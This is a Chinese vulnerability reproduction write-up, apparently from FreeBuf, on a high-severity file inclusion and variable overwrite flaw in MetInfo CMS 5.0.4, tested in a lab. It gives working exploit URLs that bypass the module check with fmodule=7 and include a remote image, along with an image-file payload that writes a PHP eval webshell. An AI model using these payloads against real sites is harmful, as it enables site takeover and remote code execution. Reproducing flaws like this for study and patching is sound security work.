
前言
MetInfo企业网站管理系统采用php+ Mysql架构全站内置了SEO搜索引优化机制,支持用户自定义界面语言(全球各种语言),拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理),
强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义 FLASH样式功能等,可为企业打造出大气漂亮且具有营销力的精品网站
1.漏洞描述:
MetInfo 是一个专业的企业级CMS建站系统,它5.0.4 版本存文件包含漏洞
2.漏洞等级:
高危
3.影响版本:
5.0.4
4.准备工具:
VMware环境
phpStudy
metinfo_5.0.4源码
seay源码审计系统
5.漏洞复现:
seay源码审计系统工具发现可疑漏洞点,接下来进行代码审计

可以看到这个/about/index.php文件里包含"../include/module.php"和$mouble这个变量,进行跟踪,打开../include/module.php,module.php里还包含着"common.inc.php",我们先对module.php进行代码审计
if($fmodule!=7){ if($mdle==100)$mdle=3; if($mdle==101)$mdle=5; $module = $modulefname[$mdle][$mdtp]; if($module==NULL){okinfo('../404.html');exit();} if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){ if($fmodule==$mdle){ $module = $modulefname[$mdle][$mdtp]; } else{ okinfo('../404.html');exit(); } } else{ if($list){ okinfo('../404.html');exit(); } else{ $module = $modulefname[$mdle][$mdtp]; } } if($mdle==8){ if(!$id)$id=$class1; $module = '../feedback/index.php'; } }
可以看到当fmodule这个变量不等于7时,它就会对$module进行验证,接着对"common.inc.php"进行跟踪
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } }
发现common.inc.php的这段代码有漏洞点,这段代码意思是将GPC传过来的参数和值注册伪变量,存在变量覆盖。
接下来,更改一下"about/include.php"的代码,对$module这个变量输出,发现输出了show.php
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; var_dump($module);//试着对$module这个变量输出 require_once $module; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
我们要让fmodule=7,绕过对$module的验证
http://192.168.175.145/MetInfo5.0.4/about/index.php?fmodule=7&module=777777
发现输出了我们传进去的module的参数,所以接下来配合远程包含,上传图片马,在图片马里加入代码<?php phpinfo();?>和<?php file_put_contents('shell.php','@eval($_REQUEST[777])')?>,发现利用成功,在同级目录下创建了shell.php,接下来我们用蚁剑,利用成功
http://192.168.175.145/MetInfo5.0.4/about/index.php?fmodule=7&module=http://192.168.175.145/a.jpg
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)